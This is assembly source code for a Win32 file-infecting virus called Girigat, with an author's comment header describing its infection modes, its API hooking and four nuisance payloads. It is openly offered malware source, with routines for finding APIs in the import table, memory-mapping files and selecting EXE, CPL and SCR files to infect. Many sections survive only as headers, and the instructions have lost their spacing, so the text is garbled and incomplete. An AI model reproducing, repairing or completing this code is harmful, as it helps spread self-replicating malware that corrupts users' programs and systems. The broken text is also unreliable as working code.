; Girigat is a 4937 bytes long Win32 virus. It changes its behavior auto-
; matically whenever it jumps to a new computer, so describing the way it
; works would not be a too reliable source of information. Hence, it is a
; good idea to explain what it may become, rather than what it is at this
; moment, in the current compiled version. Girigat may turn either into a
; per-process resident virus, or into a runtime one, or even into a mixed
; version which would infect by means of both runtime and resident infec-
; tion routines. Also, it may infect CPL, EXE or SCR files, including all
; the possible combinations, among these three file formats. Last but not
; least, its runtime routines may infect either in the current directory,
; or in the Windows folder, or in both at once.
;
; Hooked API functions are CreateFile, FindFirstFile and FindNextFile, in
; both their ANSI and Unicode versions. Whenever an infected file is exe-
; cuted three months after the day in which it got infected there will be
; a 50% probability, of getting one of the four virus payloads triggered.
; The first of them drops a BMP file with the virus logo and then sets it
; as the new system wallpaper, on a black background, after the next sys-
; tem reboot. The second possible payload gets the Windows cursor jumping
; all over the screen, moving to a random position every half second more
; or less. The third payload displays by means of a shell message box the
; system information, including the copyright strings of Girigat, as well
; as including an alert icon instead of the original Windows logo. Final-
; ly, the fourth virus payload consists on producing a Poltergesitish ef-
; fect, which will keep on opening and closing the CD tray all the time.
;
; <20>Ĵ What does "Girigat" mean? <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; The virus name, is the result of the latin transliteration of the hindi
; word used to refer to a chameleon. I decided to call it this way becau-
; se of the routine it uses to change its own behavior, and because of my
; admiration to India, which is with no doubt one of the most interesting
; countries all over the world. The BMP logo Girigat drops, in one of its
; four payloads, is an image of the way the virus name looks like written
; in the devanagari alphabet (the official one for the hindi language).
;
; Besides of the above reasons, i should add that, chameleons have a very
; special meaning in my life. Albeit nowadays i have only one chameleon i
; have had four specimens at the same time in the past years. Also, in my
; right arm there's a big chameleon tattooed in the tribal style together
; with more tribal designs, which is more or less significative, in which
; concerns to the relevance of these reptiles to me.
; <20>Ĵ Start of real virus activity <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
viral_work:cmpbyteptr[ebp+flag_hooking],OFF
jeonly_runtime
callapihook_cepa
cmpbyteptr[ebp+flag_runtime],OFF
jeback_to_host
only_runtime:callruntime_cepa
back_to_host:ret
; <20> Direct action routines <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20>Ĵ CD caddy fun <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20>Ĵ Look for a given API in our host's IT <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
get_it_api:cld
cmpwordptr[ebx],'ZM'
jneit_api_error
movesi,ebx
addesi,dwordptr[ebx+3ch]
movedi,dwordptr[esi]
cmpedi,'EP'
jneit_api_error
pusheax
movesi,dwordptr[esi+80h]
addesi,ebx
moveax,esi
look_for_k32:movesi,eax
movesi,dwordptr[esi+0ch]
addesi,ebx
cmpdwordptr[esi],'NREK'
jek32_is_here
addeax,14h
jmplook_for_k32
k32_is_here:movesi,eax
moveax,dwordptr[esi+10h]
addeax,ebx
movdwordptr[ebp+imp_tbl_desc],eax
cmpdwordptr[esi],0
jeit_api_error
popedi
xoreax,eax
movesi,dwordptr[esi]
addesi,ebx
movedx,esi
search_it_api:cmpdwordptr[edx],0
jeit_api_error
cmpbyteptr[edx+3],80h
jeadd_and_lewp
pushecxedi
movesi,2
addesi,ebx
addesi,dwordptr[edx]
repecmpsb
cmpecx,0
popediecx
jneadd_and_lewp
shleax,2
addeax,dwordptr[ebp+imp_tbl_desc]
movedx,eax
moveax,dwordptr[eax]
ret
add_and_lewp:inceax
addedx,4
jmpsearch_it_api
it_api_error:moveax,0ffffffffh
ret
; <20>Ĵ Look for a given API in KERNEL32's ET <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20>Ĵ Pseudorandom value generator <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pseudorandom:pushecxedx
movecx,eax
callget_random
xoredx,edx
divecx
moveax,edx
popedxecx
ret
; <20>Ĵ Random value generator <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
get_random:pushecxedx
moveax,dwordptr[ebp+random_seed]
movecx,eax
imuleax,41c64e6dh
addeax,3039h
movdwordptr[ebp+random_seed],eax
xoreax,ecx
popedxecx
ret
; <20>Ĵ Add wildcard to directory buffer <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
add_wildcard:cld
leaedi,dwordptr[ebp+edx+dir_buffer]
moval,'\'
stosb
copy_string:lodsb
stosb
oral,al
jnzcopy_string
ret
; <20>Ĵ Process current file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
manage_file:cmpbyteptr[ebp+flag_hit_cpl],ON
jnecheck_exe
cmpeax,'LPC.'
jeprocess_file
cmpeax,'lpc.'
jeprocess_file
check_exe:cmpbyteptr[ebp+flag_hit_exe],ON
jnecheck_scr
cmpeax,'EXE.'
jeprocess_file
cmpeax,'exe.'
jeprocess_file
check_scr:cmpbyteptr[ebp+flag_hit_scr],ON
jnejust_return
cmpeax,'RCS.'
jeprocess_file
cmpeax,'rcs.'
jnejust_return
process_file:pushedx
callopen_map_file
orebx,ebx
jzinvalid_file
callsetup_file
cmpeax,0ffffffffh
jeunmap_n_close
callunmap_close
popedx
adddwordptr[ebp+win32_finddata+20h],size_in_file
callopen_map_file
callinfect_file
callunmap_close
ret
unmap_n_close:callunmap_close
invalid_file:popedx
just_return:ret
; <20>Ĵ Open a file and memory-map it <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
open_map_file:push080h3000c0000000hedx
calldwordptr[ebp+ad_createfile]
cmpeax,0ffffffffh
jeexit_mapping
movdwordptr[ebp+handle_open],eax
push0dwordptr[ebp+win32_finddata+20h]
push040dwordptr[ebp+handle_open]
calldwordptr[ebp+ad_cfmapping]
oreax,eax
jzclose_handle
movdwordptr[ebp+handle_map],eax
pushdwordptr[ebp+win32_finddata+20h]
push002dwordptr[ebp+handle_map]
calldwordptr[ebp+ad_mapview]
xchgebx,eax
orebx,ebx
jzclose_mapping
ret
; <20>Ĵ Unmap a file and close its handle <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
unmap_close:pushebx
calldwordptr[ebp+ad_unmapview]
close_mapping:pushdwordptr[ebp+handle_map]
calldwordptr[ebp+ad_closehandle]
close_handle:pushdwordptr[ebp+handle_open]
calldwordptr[ebp+ad_closehandle]
exit_mapping:xorebx,ebx
ret
; <20>Ĵ Get a relative offset <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
get_relative:calllambda_offset
lambda_offset:popebp
subebp,offsetlambda_offset
ret
; <20>Ĵ Girigat BMP logo <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20> Data area <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20>Ĵ Internal data <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONequ1
OFFequ0
rgb_valuedb0
element_nodb1
buffer_sizedd102h
base_defaultequ400000h
bmp_lengthequbmp_end-bmp_start
size_in_fileequfile_end-global_start
key_dd_wpaperdb'0',0
key_dd_colordb'0 0 0',0
flags_startlabelbyte
flag_curdirdbON
flag_windirdbOFF
flag_hookingdbON
flag_runtimedbON
flag_hit_exedbON
flag_hit_cpldbOFF
flag_hit_scrdbOFF
flags_endlabelbyte
birth_monthdw?
birth_daydw?
@sz_apis_startlabelbyte
ddoffsetsz_gcompname
ddoffsetsz_lstrcpy
ddoffsetsz_getsystime
ddoffsetsz_loadlibrary
ddoffsetsz_writefile
ddoffsetsz_getcurdir
ddoffsetsz_getwindir
ddoffsetsz_getsysdir
ddoffsetsz_findfirst
ddoffsetsz_findnext
ddoffsetsz_findclose
ddoffsetsz_createfile
ddoffsetsz_cfmapping
ddoffsetsz_mapview
ddoffsetsz_unmapview
ddoffsetsz_closehandle
ddoffsetsz_wide2multi
@sz_apis_endlabelbyte
@payloads_startlabelbyte
ddoffsetnew_wallpaper
ddoffsetcrazy_cursor
ddoffsetvirus_about
ddoffsetpoltergeist
@payloads_endlabelbyte
dd_hook_startlabelbyte
dd_@crtfile_addsz_@crtfile_w-sz_@crtfile_a
ad_@crtfile_add?
@ad_crtfile_addoffset@createfile
dd_@crtfile_wddsz_@findfst_a-sz_@crtfile_w
ad_@crtfile_wdd?
@ad_crtfile_wddoffset@@createfile
dd_@findfst_addsz_@findfst_w-sz_@findfst_a
ad_@findfst_add?
@ad_findfst_addoffset@findfirst
dd_@findfst_wddsz_@findnext_a-sz_@findfst_w
ad_@findfst_wdd?
@ad_findfst_wddoffset@@findfirst
dd_@findnext_addsz_@findnext_w-sz_@findnext_a
ad_@findnext_add?
@ad_findnext_addoffset@findnext
dd_@findnext_wddsz_hook_end-sz_@findnext_w
ad_@findnext_wdd?
@ad_findnext_wddoffset@@findnext
dd_hook_enddd0
sz_kernel32db'KERNEL32.dll',0
sz_user32db'USER32.dll',0
sz_advapi32db'ADVAPI32.dll',0
sz_winmmdb'WINMM.dll',0
sz_shell32db'SHELL32.dll',0
sz_gmhandleadb'GetModuleHandleA',0
sz_gmhandlewdb'GetModuleHandleW',0
sz_gpaddressdb'GetProcAddress',0
sz_apis_startlabelbyte
sz_gcompnamedb'GetComputerNameA',0
sz_lstrcpydb'lstrcpyA',0
sz_getsystimedb'GetSystemTime',0
sz_loadlibrarydb'LoadLibraryA',0
sz_writefiledb'WriteFile',0
sz_getcurdirdb'GetCurrentDirectoryA',0
sz_getwindirdb'GetWindowsDirectoryA',0
sz_getsysdirdb'GetSystemDirectoryA',0
sz_findfirstdb'FindFirstFileA',0
sz_findnextdb'FindNextFileA',0
sz_findclosedb'FindClose',0
sz_createfiledb'CreateFileA',0
sz_cfmappingdb'CreateFileMappingA',0
sz_mapviewdb'MapViewOfFile',0
sz_unmapviewdb'UnmapViewOfFile',0
sz_closehandledb'CloseHandle',0
sz_wide2multidb'WideCharToMultiByte',0
sz_apis_endlabelbyte
sz_xapis_startlabelbyte
sz_setcurposdb'SetCursorPos',0
sz_loadicondb'LoadIconA',0
sz_shellaboutdb'ShellAboutA',0
sz_mcisendstrdb'mciSendStringA',0
sz_regopenkeydb'RegOpenKeyExA',0
sz_regsetvaluedb'RegSetValueExA',0
sz_xapis_endlabelbyte
sz_hook_startlabelbyte
sz_@crtfile_adb'CreateFileA',0
sz_@crtfile_wdb'CreateFileW',0
sz_@findfst_adb'FindFirstFileA',0
sz_@findfst_wdb'FindFirstFileW',0
sz_@findnext_adb'FindNextFileA',0
sz_@findnext_wdb'FindNextFileW',0
sz_hook_endlabelbyte
about_titledb'System Info#+ Girigat.4937',0
virus_credsdb'(C) 1998-1999 Mister Sandman',0
key_sz_wpaperdb'Wallpaper',0
key_sz_tilewpdb'TileWallpaper',0
key_sz_wpstyledb'WallpaperStyle',0
key_sz_bgcolordb'Background',0
key_sz_desktopdb'Control Panel\Desktop',0
key_sz_colorsdb'Control Panel\Colors',0
sz_wildcarddb'*.*',0
sz_bmp_filedb'c:\Girigat.bmp',0
sz_open_cddb'set cdaudio door open',0
sz_close_cddb'set cdaudio door closed',0
sz_comp_namedb0ahdup(?)
random_seeddd0bebafecah
file_endlabelbyte
; <20>Ĵ External data <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>